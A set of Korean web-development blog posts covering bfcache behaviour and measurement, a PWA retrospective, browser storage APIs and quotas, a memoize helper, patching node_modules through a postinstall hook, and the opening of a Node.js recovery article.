만약 IndexedDB, Web Locks, WebSockets과 같이 다른 페이지에서도 접근할 수 있는 데이터와 관련된 API 라고한다면, 다른 탭의 실행에도 영향을 미칠 수 있기 때문에 문제가 될 수 있다. 따라서 다음 시나리오 상에서는 대부분의 브라우저가 bfcache를 시도하지 않는다.

- 페이지에 끝나지 않은 indexedDB transaction이 있는 경우
- fetch나 XMLHttpRequest가 진행 중인 경우
- WebSocket, WebRTC 연결이 살아 있는 경우

만약 페이지에서 위의 경우에 해당한다면, `pagehide`나 `freeze`이벤트에서 이러한 연결을 모두 끊어 버리는 것이 좋다. 이는 다른 탭에 영향을 주는 위험이 없이 안전하게 cache를 하는 방법이다.

그리고, bfcache로 부터 페이지가 살아난다면, 이러한 API를 다시 열어두면 된다. `pageshow` `resume` 이벤트에서 다시 연결해두면 된다.

> 유저가 페이지르 떠나기전에 해당 API가 사용 중이지 않다면 bfcache는 사용가능하다. 그러나 Embedded Plugins, Workers, Broadcast Channel 등 [일부 API](https://source.chromium.org/chromium/chromium/src/+/master:content/browser/frame_host/back_forward_cache_impl.cc;l=124;drc=e790fb2272990696f1d16a465832692f25506925?originalUrl=https:%2F%2Fcs.chromium.org%2F)들은 사용하게 되면 bfcache가 불가능하게 된다. 크롬이 bfcache 초기 출시 당시 의도적으로 보수적으로 접근하고 있지만, 장기적인 목표로는 최대한 많은 API에서 동작하게 끔 하려고 한다.

### 페이지가 캐싱 가능한지 테스트

page가 unloading시에 캐싱이 되는지 안되는지 확실히 결정할수는 없지만, 뒤로가기나 앞으로가기시에 bfcache가 올바르게 되고 있는지는 확인이 가능하다. 크롬의 경우 bfcache가 최대 3분까지 남아 있으므로, Puppetter나 Webdriver와 같은 테스트 도구로 `pageShow`이벤트의 `persisted`의 속성이 true로 남아있는지 확인하기에 충분하다.

물론 일반적인 상황에서는 캐시가 가능한 길게 남아있지만, 시스템의 메모리가 부족한 아쉬운 상황에서는 언제든 캐시가 날아갈 수 있다. 실패 테스트가 반드시 캐시가 안된다고는 단언할 수 없으므로, 실패의 기준과 테스트 설정을 유심히 해야할 필요가 있다.

> 크롬의 bfcache는 모바일에서만 가능하므로, 데스크톱에서 사용하기 위해서는 [#back-forward-cache 설정을 켜야 한다.](https://www.chromium.org/developers/how-tos/run-chromium-with-flags)

### bfcache를 제거하는 법

최상단 페이지 응답에 아래와 같이 설정해두면 bfcache를 제거할 수 있다.

```text
Cache-Control: no-store
```

`no-cache`와 `no-store`등은 bfcache에 영향을 미치지 않는다.

이는 bfcache를 무력화시키는 확실한 방법이지만, [성능과 캐싱을 위해서 각자가 원하는 방법을 적용할 수 있도록 하자는 제안도 존재한다.](https://github.com/whatwg/html/issues/5744) (예를 들어 로그아웃과 같이 명시적인 시점에 bfcache 날린다던지)

## bfcache 가 분석 및 성능 측정에 미치는 영향

만약 분석 도구를 활용하여 사이트의 방문을 추적해본적이 있다면, 크롬이 bfcache를 사용함에 따라서 전체 페이지뷰가 감소한다는 것을 인지했을 수도 있다. 실제로 bfcache를 구현한 브라우저는 다른 브라우저에 비해 페이지뷰를 과소보고 하는 경우가 있는데, 이는 대부분의 트래킹 라이브러리들이 bfcache의 복원을 새로운 페이지뷰로 간주하지 않기 때문이다.

이를 방지하기 위해서는 아래와 같은 코드 추가를 고려해볼 수도 있다.

```javascript
// Send a pageview when the page is first loaded.
gtag('event', 'page_view')

window.addEventListener('pageshow', function (event) {
  if (event.persisted === true) {
    // Send another pageview if the page is restored from bfcache.
    gtag('event', 'page_view')
  }
})
```

### 성능 측정

bfcache는 특히 실제 수집된 성능 지표, 그 중에서도 페이지 로드 시간을 측정하는 지표에 부정적인 영향을 미칠 수 있다. bfcache 네비게이션은 실제 새로운 페이지를 로딩하는게 아니고 기존 페이지를 단순히 복원하는 것이기 때문에, bfcache를 사용하게 되면 수집된 페이지 로드의 총 숫자가 감소한다. 중요한 것은 bfcache로 복원으로 대체되는 페이지 로드가 페이지 속도 측정 중에서 가장 빠른 페이지로드로 인식될 수 있다는 것이다. 그 결과 데이터 집합에서 빠른 페이지 로드가 줄어들어, 사용자가 경험하는 실제 성능이 향상되었음에도 불구하고 그래프 상으로는 속도가 일정하지 않은 것 처럼 보일 수도 있다.

이 문제를 해결하는 데 몇가지 방법이 있는데 그 중 하나는, 모든 페이지 로드 메트릭에 `navigate` `reload` `back_forward` `prerender`와 같은 주석을 달아두는 것이다. 이러한 접근 방식은 TTFB(Time to First Byte)와 같은 사용자 중심 페이지 로드 메트릭에 권장된다. Core Web Vitals와 같은 사용자 중심 메트릭의 경우, 사용자가 경험하는 것을 정확하게 나타내는 값을 보고하는 것이 더 좋다.

### Core Web Vital에 미치는 영향

[Core Web Vital](https://web.dev/vitals/)이란 로딩 속도, 상호작용성, 시각적 안정성 등 다양한 면에 결쳐 웹페이지의 사용자 경험을 측정한다. bfcache 복원으로 사용자는 기존 페이지로드보다 더 빠르게 탐색하게 되므로, Core Web Vital에 이를 반영하는 것이 중요하다. 당연하게도, 사용자는 무슨 기법을 썼든지 간에 아무튼 속도가 빠른 것에만 신경을 쓰기 때문에.

곧 [Chrome User Experience Report](https://developers.google.com/web/tools/chrome-user-experience-report)와 같은 도구에서 bfcache 복원을 별도의 페이지 방문으로 처리하도록 업데이트 될 예정이다.

bfcache 복원에 따른 성능을 측정하기 위한 web performance api는 아직 존재하지 않지만, 기존 API로 대략 유추 해볼 수는 있다.

- [Largest Contentful Paint(LCP)](https://web.dev/lcp/): `pageshow` 이벤트의 타임스템프와 다음 프레임이 페인트 되는 시점의 타임스탬프를 비교하여 사용할 수 있다. (bfcache의 경우 LCP와 FCP의 값은 같다.)
- [First Input Delay(FID)](https://web.dev/fid/): `pageshow`이벤트에 이벤트 리스너를 다시 달아서 bfcache 복원 후 FID의 지연을 보고 할 수 있다.
- [Cumulative Layout Shift(CLS)](https://web.dev/fid/): 기존 performance observer를 계속 사용할 수 있으며, 현재 CLS 값을 0으로 재설정하면 된다.

## 더 읽어보기

- [Firefox Caching](https://developer.mozilla.org/en-US/Firefox/Releases/1.5/Using_Firefox_1.5_caching)
- [Page Cache](https://webkit.org/blog/427/webkit-page-cache-i-the-basics/)
- [브라우저에 따른 bfcache](https://docs.google.com/document/d/1JtDCN9A_1UBlDuwkjn1HWxdhQ1H2un9K4kyPLgBqJUc/edit?usp=sharing)
- [bfcache 테스터](https://back-forward-cache-tester.glitch.me/?persistent_logs=1)

출처: https://web.dev/bfcache/#optimize-your-pages-for-bfcache

---

Source: https://yceffort.kr/2020/11/pwa-pros-and-cons.md
Title: PWA 적용 후기 및 장단점
Description: 노력은 나만 하고 즐기는것도 나만 즐긴다
Date: 2020-11-25
Tags: web-performance, pwa

PWA가 나타난 이후로, [이제 모든 웹 프로젝트는 PWA로 이루어져야 한다](https://alistapart.com/article/yes-that-web-project-should-be-a-pwa/), 라든지 PWA가 웹 프로젝트의 미래라든지, 이제 모든 애플리케이션이 PWA로 만들어질 것이라든지, 더 이상 일렉트론은 사라질 것이라든지의 많은 글을 봐왔다. 귀에 딱지가 앉도록 많이 들었기 때문에, 한번 해보고 싶은 마음이 들었다. 어차피 막나가는 토이 프로젝트 블로그에 PWA 하나 추가된다고 별일 없을 것이다, 라는 생각으로 블로그에 PWA를 적용해 보았다.

## HOW TO

정석대로 하는 방법은 https://web.dev/progressive-web-apps/ 여기를 참고 하는게 좋다. 원래 번역까지 해보려고 했는데, 굳이 그렇게 까지 안해도 될 것 같아서 읽고 공부해보기만 했다.

### next-pwa

고맙게도 nextjs 환경에서 pwa를 적용해줄 수 있는 라이브러리가 존재한다. 바로 [next-pwa](https://github.com/shadowwalker/next-pwa)이다. 별다른 설정을 해주지 않아도 next를 pwa환경으로 바꾸어 주었다. 그외에 설정에 맞게 `manifest.json` 추가, `<meta/>` 를 추가했다.

### pwa-asset-generator

pwa를 ios나 안드로이드에서 제대로 보여주기 위해서는 아이콘과 splash이미지를 잘 준비해야 한다. 특히 ios의 splash 이미지는 [apple launch screen 가이드에 따라서 모든 사이즈에 대응할 수 있는 이미지](https://developer.apple.com/design/human-interface-guidelines/ios/visual-design/adaptivity-and-layout/#device-screen-sizes-and-orientations)가 준비되어 있어야 해서 조금 귀찮다. 그런 작업들을 모두 [pwa-asset-generator](https://github.com/onderceylan/pwa-asset-generator)가 도와주었다. 아이콘과 스플래시 이미지, 그리고 그에 따른 태그를 알아서 만들어준다. 감사합니다

## 결과

![pwa1](./images/pwa1.png)

lighthouse 검사결과에서 PWA로 잘 인식되는 것을 볼 수 있다. `start_url`이 응답을 안한다고 하는 것은 [light house의 버그로 보인다.](https://github.com/shadowwalker/next-pwa/issues/107)

![pwa-offline](./images/pwa-offline.png)

네트워크가 오프라인으로 되어 있어도 서비스 워커를 통해서 서비스가 잘 작동하는 것을 볼 수 있다.

![pwa2-1](./images/pwa2-1.png)

![pwa2-2](./images/pwa2-2.png)

![pwa2-3](./images/pwa2-3.png)

pwa로 등록되면 크롬 주소창에 앱으로 등록할 수 있다는 뜻의 작은 아이콘이 뜬다. 이를 등록해두면 애플리케이션처럼 사용가능해진다.

![pwa-splash](./images/pwa-splash.png)

안드로이드가 없어서 테스트 해보지는 못했지만, ios에서는 splash이미지가 잘나오고 있었다.

![pw3-1](./images/pwa3-1.png)

![pw3-2](./images/pwa3-2.png)

ios에서 이렇게 실제 앱과 비슷하게 사용할 수 있었다.

## 단점

장점은 여기저기에 나열되어 있으니, 단점과 개인적인 소회를 적어보려고 한다.

### 네이티브 인터페이스를 사용할 수 없다는 한계

네이티브 인터페이스가 없기 때문에 당연히 일반 모바일 애플리케이션 대비 할 수 있는 액션이 제한되어 있다. iOS의 경우 푸쉬 알림이 불가능하며, 사용자가 PWA를 앱 아이콘으로 등록하지 않으면, 7일이 넘는 캐시데이터를 자동으로 삭제한다.

### (모바일 애플리케이션을 대체할 수 있다는 관점에 한해서) 높은 진입 장벽

PWA를 정말 일반 애플리케이션 처럼 쓰려면 모바일 기준으로, 일반사용자가 한다고 했을 때 아래와 같은 과정을 거쳐야 한다.

- PWA로 되어 있는 해당 사이트 방문 (사파리만 가능)
- 화면 중앙 하단의 공유 버튼 클릭
- 스크롤을 조금 더 내려서 홈 화면에 추가

일반적인 사용자가 절대로 경험해본적이 없을 UX이며, 설령 이 과정을 toast 든 팝업이든 알려준다 치더라도 실제로 이를 실행에 옮길 사용자가 몇이나 될까 싶다.

대부분의 사용자들은 애플리케이션 설치를 곧 앱스토어에 접속한다는 행위로 인식하고 있기 때문에, 앱스토어에 PWA를 등록하게 해주지 않는 이상 - 이러한 장점은 거의 없다고 봐야할 것이다.

## PWA의 의미

https://medium.com/iquii/progressive-web-app-pwa-what-they-are-pros-and-cons-and-the-main-examples-on-the-market-318f4538c670 의 글을 빌리자면, PWA의 장점은 아래와 같다(고한다.)

- Progressive
- Responsive
- AppLike
- Updated
- Secure
- Searchable
- Reactivable
- Installable
- Linkable
- Offline

이에 대해 의견을 달아보면

- ~~Progressive~~: 브라우저에 관계없이 사용할 수 있다는 것은, 그냥 웹의 장점이다. 모바일 웹 어플리케이션을 만들어도 가능하다.
- ~~Responsive~~: 반응형은 모든 웹사이트에서 구현 가능한 것이다.
- ~~AppLike~~: 위에서 언급한 이유 때문에, 앱과 비슷한 경험을 준다는 것은 사용자에게 장점으로 어필하기 쉽지 않다. 어차피 모바일 웹 어플리케이션으로 만드나, 네이티브 애플리케이션으로 만드나 일반사용자들은 차이를 느끼기가 어려울 것이다.
- ~~Updated~~: 서비스워커로든, http fetch로든 언제든 데이터를 제공할 수 있다. 앱과 다르게 배포가 필요하지 않다는 장점도 있지만 이는 비단 PWA만의 장점은 아니다.
- ~~Secure~~: https를 반드시 이용해야 PWA를 사용가능하지만, secure는 장점이 아니고 필수다.
- ~~Searchable~~: 웹 도 충분히 검색엔진에서 검색될 수 있다.
- Reactivable
- ~~Installable~~: AppLike와 같음
- ~~Linkable~~: 웹 사이트도 링크를 제공할 수 있다.
- Offline: 확실히 오프라인상태에서도 사용자 경험을 제공할 수 도 있다는 것은 장점이긴 했다. 그러나 이는 크게 장점으로 어필하긴 어려울 것 같다. 이미 대부분의 사용자들은 거의 99% 온라인 상태로 휴대기기를 유지하고 있을 것이고, `오프라인 = 앱이 동작하지 않는 상태`로 이미 이해하고 있다. 오프라인 상태로도 정적인 컨텐츠를 제공하고 이게 유의미한 서비스라면 모를까?

그외에 장점으로는 개발하기 굉장히 쉬웠다는 것이 있다. 앱스토어 권한 획득하고, 무거운 에뮬레이터 띄워가면서 난리 치지 않더라도 쉽게 만들 수 있었다. https로 서비스 할 수 있는 PWA를 만드는 것은, 여러가지 면에서 실제 모바일 네이티브 애플리케이션을 만드는것보다 쉬웠다.

사용자 입장에서, PWA의 장점은 앱과 비슷한 경험을 웹으로도 줄 수 있다는 정도로 볼 수 있을 것 같다. 물론 그 비슷한 경험에도 명확하게 한계가 있기 때문에 100% 호환이 된다고 하긴 어렵지만, iOS와 안드로이드에서 PWA를 얼마나 밀어주느냐에 따라서 미래가 달려있다고 볼 수 있을 것 같다. 물론 이 또한 긍정적이지는 않다. 인앱결제도 못하는 PWA를 자사 앱스토어 시장을 그대로 둔채로 밀어줄 것 같지는 않다. 하다못해 푸쉬라도 제대로 되면 좋을텐데, 애플느님이 해주실 것 같진 않다.

그렇기 때문에 여전히, 모바일 서비스의 대부분은 지금처럼 앱/플레이 스토어가 중심이 될 것이다. 그렇다고 웹이 들어갈 자리가 없는 것은 아니다. 언제든 업데이트가 가능하다는점, 브라우저 스펙을 잘 따르면 거의 비슷한 사용자 경험을 줄 수 있다는 장점 때문에 앱처럼 보이는 웹, 그러니까 하이브리드 앱이 지금처럼 계속 대세를 이룰 것 같다. (그에 대한 방증으로 대부분의 회사에서 프론트 엔드 인력을 필요로 하고 있다.) 멀티플랫폼 지원, iOS, 안드로이드 의 공통 리소스 확보, 상시 업데이트를 위해 대다수의 사이즈가 큰 애플리케이션들은 이미 하이브리드 앱으로 구동되고 있다. 데스크톱 앱의 경우, 일렉트론이 여전히 유의미한 대안으로 존재하고 있다.

## 요약

- PWA로 일반 모바일 애플리케이션과 비슷한 경험을 제공할 수 있다
- 그러나 그 경험을 일반 사용자가 느끼기엔 ...........
- PWA로 느낄 수 있는 향상된 경험은 일반 웹에서도 충분히 고민해볼만한 것들이다 (secure, responsive, progressive...)
- 하이브리드 앱/일렉트론은 계속해서 유의미한 선택지로 남아있을 것 같다.

---

Source: https://yceffort.kr/2020/11/storage-for-the-web.md
Title: 웹에서 사용 가능한 스토리지 살펴보기
Description: PWA에서 가장 적절한 것은 무엇일까
Date: 2020-11-23
Tags: web-performance, pwa

인터넷 연결은 시시때때로 끊길 수 있고 불안정하므로, PWA에서는 오프라인 환경과 신뢰할 수 있는 성능을 안정적으로 제공하는 것이 필수다. 또한 완벽히 온라인 환경이 제공된다 하더라도, 캐싱과 다른 스토리지 기술을 적절히 활용한다면 사용자의 경험을 향상 시킬 수 있다. 정적 애플리케이션 리소스(HTML, Javascript, CSS)와 데이터 (사용자 데이터, 뉴스 기사 등)를 캐싱하는 방법이 꽤 있다. 어떤 것이 가장 좋은 해결책이며, 이들은 얼마나 저장할 수 있을까?

## 무엇을 사용해야 하는가?

- 네트워크 리소스나 파일 기반의 콘텐츠가 필수적일 때는, [Cache Storage API](https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage)를 사용하는 것이 좋다.
- 다른 데이터의 경우에는, [IndexedDB](https://developer.mozilla.org/ko/docs/Web/API/IndexedDB_API) 를 사용하는 것이 좋다.

이 두 방식은 모두 모던 브라우저에서 지원한다 (IE 제외). 그리고 둘다 비동기로 이루어지며 메인스레드를 블로킹하지 않는다. 또한 `window`, 웹 워커, 서비스 워커에서 접근 가능 하기 때문에 어디서든 사용하기 쉽다.

## 다른 스토리지는?

물론 이 외에도 브라우저에서 사용할 수 있는 다른 스토리지가 존재한다. 그러나 이들은 사용에 제한이 있으며, 성능적인 문제 또한 존재한다.

- [SessionStorage](https://developer.mozilla.org/ko/docs/Web/API/Window/sessionStorage): 데이터가 탭과 연결되어 있기 때문에, 탭의 라이프타임과 함께 한다. 따라서 세션과 관련된 작은 양의 데이터를 저장하는데 유용하다. (IndexedDB의 키 등) 또한 동기로 작동하며 메인스레드를 블로킹하기 때문에 사용에 주의가 필요하다. 5MB 까지의 데이터만 저장가능하며, 문자열만 가능하다. 또한 탭에 묶여 있기 때문에, 웹워커나 서비스워커에서는 사용이 불가능하다.
- [LocalStorage](https://developer.mozilla.org/ko/docs/Web/API/Window/localStorage): 마찬가지로 메인스레드를 블로킹하고 동기로 작동한다. 마찬가지로 5MB까지 가능하며, 문자열 데이터만 저장가능하다. 웹 워커와 서비스워커에서는 사용이 불가능하다.
- [Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies): 쿠키는 쿠키 나름대로의 사용처가 있기 때문에, 데이터 저장용도로 사용해서는 안된다. 쿠키는 모든 HTTP 요청에 함께 보내지기 때문에, 큰 데이터를 저장했다가는 모든 HTTP 요청에 함께 날라가게 되므로 신 사이즈가 커지게 된다. 또한 이들은 동기로 작동하며, 웹워커에서는 접근이 불가능하다. 위 두개와 마찬가지로, 문자열 데이터만 저장 가능하다.
- [File System API](https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction): 샌드박스 (제한된 영역의) 파일시스템에 파일을 읽고 쓸 수 있도록 도와준다. 비동기로 작동되는 반면 [크로미윰에서만 지원되기 때문에](https://caniuse.com/filesystem) 널리 사용하기는 어렵다.
- [File System Access API](https://web.dev/file-system-access/): 사용자가 로컬 파일 시스템에 파일을 읽고 쓰기 쉽게 만들어주는 API다. 따라서 사용자에게 권한을 획득하는 것이 필수 이며, 또한 이 권한은 세션을 넘어가면 유지 되지 않는다.
- WEB SQL: IndexedDB의 등장과 함께 사라진 기능으로, 사용해서는 안된다.
- [Application Cache](https://developer.mozilla.org/ko/docs/Web/HTML/Using_the_application_cache): 이 또한 deprecated 되었다. 브라우저에서 지원이 중단될 예정이며, 서비스워커와 Cache API로 대체 해야 한다.

## 얼마나 저장할 수 있는가?

몇 백 메가바이트, 그리고 잠재적으로 수백 기가바이트 이상이 될 수도 있다. 브라우저 별로 다를 수 있지만, 사용가능한 스토리지의 크기는 대개 장치에서 사용 가능한 스토리지의 크기에 따라서 결정된다.

- 크롬에서는 원래 전체 디스크 공간의 60%까지 허용해주었지만, 이제는 80% 까지 가능하다. StorageManger API를 이용해서 사용가능한 스토리지의 크기를 점검할 수 있다. 다른 크로미윰 기반 브라우저의 경우 더 많은 스토리지를 사용할 수도 있다. [여기](https://github.com/GoogleChrome/web.dev/pull/3896)를 참고
- IE 10 이상의 브라우저에서는 250mb까지 가능하며, 10mb이상의 스토리지를 사용할 경우 사용자에게 메시지를 띄운다.
- 파이어폭스는 여유 디스크공간의 50%까지 사용하게 해준다. `eTLD+1` (effective Top Level Domain) 의 경우에는 최대 2GB까지 가능하다. StorageManager API를 통해서 얼마나 사용가능한지 확인할 수 있다.
- 사파리는 1gb까지 지원하는 것으로 보인다. 최대 스토리지에 도달하면, 사용자에게 메시지를 띄우고 200mb 를 추가로 사용할 수 있게 해준다. (이에 대한 정확한 공식문서는 찾지 못했으므로, 약간의 차이가 있을수 있다.)

과거 스토리지 용량 최대치에 근접하게 되면, 브라우저는 사용자에게 메시지를 띄워서 권한을 획득한 후, 추가로 스토리지용량을 제공했다. 그러나 요즘 모든 브라우저는 사용자에게 특별히 메시지를 띄우지 않고 최대 사용량 까지 사용하게 해준다. 사파리의 경우는 조금 다르다. 앞서 이야기 한것처럼 추가 할당량 사용여부를 유저에게 묻고 허락할 경우 사용하게 해주지만, 그 이상은 불가능 한 것으로 보인다.

## 사용가능한 스토리지 용량 확인하는 방법

[Storage Manager API](https://caniuse.com/mdn-api_storagemanager)를 통애서 확인 가능하다.

```javascript
if (navigator.storage && navigator.storage.estimate) {
  const quota = await navigator.storage.estimate()
  const percentageUsed = (quota.usage / quota.quota) * 100
  const remaining = quota.quota - quota.usage

  console.table(quota)
}
```

| index        | value        | caches    | indexedDB | serviceWorkerRegistrations |
| ------------ | ------------ | --------- | --------- | -------------------------- |
| quota        | 299977904946 |           |           |                            |
| usage        | 621244075    |           |           |                            |
| usageDetails |              | 620952837 | 256156    | 35082                      |

Storage Manager API가 모든 브라우저에서 사용가능한 것은 아니므로, feature detect를 꼭 걸어줘야 한다. 또한 quota를 넘는 경우 에러가 발생할 수도 있으므로, `try.. catch`로 이를 잡아 주는 처리를 해야 한다.

[예제 사이트 확인해보기](https://storage-quota.glitch.me/)

## 사용량 초과시 대처

중요한 점은 코드를 작성할 시에 `QuotaExceededError`와 같은 에러에 대해 염두해 두어야 한다는 것이다. IndexedDB 와 Cache API 모두 사용량 초과시에 `DOMError`나 `QuotaExceededError`를 던진다.

### IndexedDB

데이터 사용량을 초과한다면, `IndexedDB`에 쓰려는 시도는 모두 실패한다. 트랜색션의 `onabort()`가 호출된다. 여기에는 `DOMException`이 포함된다. 에러의 `name`을 확인하면 `QuotaExceededError`가 보일 것이다.

```javascript
const transaction = idb.transaction(['entries'], 'readwrite')
transaction.onabort = function (event) {
  const error = event.target.error // DOMException
  if (error.name == 'QuotaExceededError') {
    // Fallback code goes here
  }
}
```

### Cache API

```javascript
try {
  const cache = await caches.open('my-cache')
  await cache.add(new Request('/sample1.jpg'))
} catch (err) {
  if (error.name === 'QuotaExceededError') {
    // Fallback code goes here
  }
}
```

## Eviction

> 최대 용량 초과로 인해 데이터가 지워지는 것을 의미한다.

웹 스토리지는 `Best Effort`와 `Persistent` 두개의 버켓으로 구분할 수 있다. `Best Effort`란 스토리지가 사용자를 방해하지 않고 브라우저에 의해 정리될 수 있다는 것을 의미하는데, 이는 중요한 데이터에 적합하지 않다는 것을 의미한다. `Persistent` 스토리지는 저장가용량이 낮더라도 자동으로 삭제 되지는 않는다. 사용자가 수동으로 데이터를 삭제 해야 한다.

기본적으로, 사이트의 데이터는 `Best Effort`로 분류되어 사이트가 별도로 [persistent storage를 요청](https://web.dev/persistent-storage/)하지 않는다면, 가용량이 낮아지게 되면 자동으로 데이터를 삭제하게 된다.

`best effort`내에서 eviction 정책은 아래와 같다.

- 크로미윰 기반 브라우저는 브라우저의 저장공간이 부족할 때 데이터를 제거하며, 브라우저의 저장공간이 초과되지 않을 때 까지 가장 오래된 데이터부터 삭제하기 시작한다.
- IE 10이상에서는 데이터를 제거되지는 않지만, 더 이상 데이터를 쓰는 것이 불가능해진다.
- 파이어 폭스는 크로미윰과 마찬가지로 저장공간이 초과되지 않을 때까지 오래된 데이터부터 삭제한다.
- 사파리의 경우 이전 버전에서는 데이터를 제거하지 않았는데, 최근에는 스토리지에 대해 7일짜리 제한을 두기 시작했다.

> iOS, iPadOS 13.4, 맥의 safari 13.1 부터, Cache API, indexed DB, storage 등의 쓰기 스토리지에 대해서 7일간의 제한을 걸어두기 시작했다. 이는 사용자가 사이트에서 인터랙션을 하지 않을 경우, 사파리가 7일 이후에는 캐시에서 모든 데이터를 제거한다는 것을 의미한다. 이 정책은 홈스크린에 설치된 PWA에는 적용되지 않는다. 자세한 내용은 [여기](https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/)를 참조!

## 왜 indexedDB 래퍼를 사용해야 할까?

IndexedDB는 저수준 API로, 아주 작은 양의 데이터를 저장하는데 사용한다 할지라도 처음 설치에 있어 많은 심혈을 기울여야 한다. 다른 모든 promise 기반 API와는 다르게, 이벤트 베이스로 작동된다. [idb](https://github.com/jakearchibald/idb)를 사용하면 일부 강력한 기능을 사용할수 없지만 트랜잭션과 스키바 버전과 같은 복잡한 기능을 사용하지 않더라도 promise 기반의 indexeddb를 사용할 수 있게 해준다.

출처: https://web.dev/storage-for-the-web/

---

Source: https://yceffort.kr/2020/11/javascript-memoize.md
Title: 자바스크립트로 메모이제이션 구현하기
Description: 까먹지 않게 기억해두기
Date: 2020-11-23
Tags: javascript, algorithm

```javascript
const memoize = (func) => {
  // 메모이제이션을 위한 클로져 생성

  // 메모이제이션 값을 저장해둔다.
  const results = {}

  return (...args) => {
    // 파라미터로 메모이제이션 키 생성
    const memoKey = JSON.stringify(args)

    // 결과가 없으면 메모이제이션 값을 넣어둔다.
    if (!results[memoKey]) {
      results[memoKey] = func(...args)
    }

    // 메모이제이션 값을 리턴
    return results[memoKey]
  }
}
```

---

Source: https://yceffort.kr/2020/11/patch-on-node-modules.md
Title: node_modules에 임시 패치 적용하기
Description: 이러고 있을 때가 아니고 이슈 업해서 오픈소스 컨트리뷰터가 되야 되는데
Date: 2020-11-23
Tags: nodejs, javascript

세상 많은 javascript 패키지에 감사하며 개발을 하고 있지만, 때로는 이러한 오픈소스에도 버그가 존재하곤 한다. 한 달 전 쯤에는, [리액트에서 ie11에 존재하지 않는 `Array.fill()`을 쓰는 바람에 패치를 한 것을 본 적도 있다.](https://github.com/facebook/react/issues/20069) 공짜로 가져다 쓰는 주제에 감사는 못할 망정 비난을 하는 것은 아니지만, 모두가 완벽할 수는 없고, 때로는 이런 버그를 내가 찾아서 적용해야 할 때가 있다. 아래 과정은 이슈 업해서 고쳐지는 것을 기다리기엔 너무 급한 나에게 필요한 방법이다.

## 1. 패치 폴더 만들기

```bash
mkdir patches
```

## 2. 해당 폴더에 패치를 적용할 파일을 만들기

일단 `node_modules` 에 버그를 수정한 패치를 적용해서 작동을 확인했다고 가정하자. (이번 예제에서는 `react-dom`에 `console.log`를 찍어볼 것이다.)

```bash
cp node_modules/react-dom/index.js patches/react-dom-index.js
```

그리고 아래 명령어로 `node_modules`를 다 지운 다음, 다시 설치해서 비교해 볼 것이다.

```bash
rm -rf ./node_modules && npm install
```

## 3. 패치 파일 만들기

그리고 diff 로 비교해보자

```bash
» diff -Naur node_modules/react-dom/index.js patches/react-dom-index.js
--- node_modules/react-dom/index.js     1985-10-26 17:15:00.000000000 +0900
+++ patches/react-dom-index.js  2020-11-23 16:55:32.000000000 +0900
@@ -28,6 +28,8 @@
   }
 }

+console.log('==========REACT DOM START==========')
+
 if (process.env.NODE_ENV === 'production') {
   // DCE check should happen before ReactDOM bundle executes so that
   // DevTools can report bad minification during injection.

```

그리고 이를 `patch`로 export 한다.

```bash
diff -Naur node_modules/react-dom/index.js patches/react-dom-index.js > patches/react-dom-bug.patch
```

```text
--- node_modules/react-dom/index.js  1985-10-26 17:15:00.000000000 +0900
+++ patches/react-dom-index.js  2020-11-23 16:55:32.000000000 +0900
@@ -28,6 +28,8 @@
   }
 }

+console.log('==========REACT DOM START==========')
+
 if (process.env.NODE_ENV === 'production') {
   // DCE check should happen before ReactDOM bundle executes so that
   // DevTools can report bad minification during injection.
```

## 4. 적용하기

아까 지우고 다시 설치했기 때문에 버그가 있던 깔끔한 상태로 있을 것이다. 이에 패치 파일을 씌워보자.

```bash
patch --forward node_modules/react-dom/index.js < patches/react-dom-bug.patch
patching file node_modules/react-dom/index.js
```

적용이 잘되었는지 확인해보자. 잘 되었는지 확인 되었다면, 맨처음에 만들었던 파일 (버그 수정버전)을 삭제해도 된다.

```bash
rm patches/react-dom-index.js
```

## 5. `postinstall` 에 걸어두기

[npm postinstall](https://docs.npmjs.com/cli/v6/using-npm/scripts#npm-install)에 걸어두면 설치한 후애 해당 커맨드를 실행한다. `npm install` 과 `npm ci`에서 모두 동작한다.

`package.json`

```json
{
  "postinstall": "patch --forward node_modules/react-dom/index.js < patches/react-dom-bug.patch"
}
```

## 6. 기다리기

이제 오픈소스 컨트리뷰터가 해당 버그를 수정해주시기를 기도하자. 🙏🙏

---

Source: https://yceffort.kr/2020/11/nodejs-recovery-self-healing.md
Title: Nodejs 서비스 Recovery 전략
Description: 아 내 서비스는 완벽해서 그런거 필요 없다니까요?
Date: 2020-11-20
Tags: nodejs, devops, backend

100%의 테스트 리커버리가 도달한 이상적인 세계가 왔다. 오류 처리 또한 완벽했고, 모든 실패는 우아하게 처리되었다. 모든 시스템이 정말로 완벽에 도달했기 때문에, 이런 오류에서의 회복 같은 논의 따위는 필요가 없다.

그러나 나부터 시작해서, 2020년의 지구에는 아직 그런 이상적인 시스템이 있는 곳은 단언코 아무 곳도 없을 것이다. 누군가의 서버는 여전히 프로덕션에서 박살나고 있다.

이 글에서, 서버를 더욱 탄력적으로 만들고 프로세스 관리 능력을 향상시키는 몇가지 개념과 도구를 살펴보자.

## `node index.js`

Nodjs, 특히 서버 관련 작업을 처음 접하는 경우 원격 프로덕션이나, 개발 환경이든간에 동일한 방식으로 앱을 실행한다.

nodejs를 설치하고, repo를 clone하고, `npm install` 이후에 `node index.s`또는 `npm start` 로 시작한다.

이는 모든 프로젝트를 시작하는 완벽한 방법 처럼 보인다. 만약 이게 정말 제대로 작동만 한다면, 우리는 더 이상 수정할 필요가 없다.

그러나 사전에 예상하지 못했던 발생할 수가 있다. vm또는 호스트가 재시작 된다면? 서버 크래쉬가 발생한다면?

복구(Recovery)는 다양한 방법으로 처리할 수 있다. 크래시 이후 서버를 다시 시작하는 편리한 솔루션도 있고, 프로덕션을 크래쉬로 부터 안전하게 만드는 것보다 더 우아한 방법들이 많다.

우리가 실행하려는 환경에 따라서, 복구는 다른 특성을 가지고 있다. 개발환경에서의 목표는 편의성이고 (코드를 수정하면 알아서 재시작 되는 것과같은), 프로덕션의 경우에는 오류로부터의 탄력성이라 볼 수 있다.

## 문제가 발생하자 마자 해결하기

개발 환경에서 nodejs 서버를 작성하고 있다고 상상해보자. 몇줄의 코드를 고칠 때마다 탭을 전환하여 `node index`나 `npm start`로 프로세스를 실행한다. 이는 몇번 반복하게 되면 끔찍할 정도로 지루해진다.

코드를 변경한 뒤에 자체적으로 그냥 재시작하면 좋지 않을까?

여기에서 도움이 되는 것이 바로 `nodemon`이다.

```bash
nodemon index.js
```

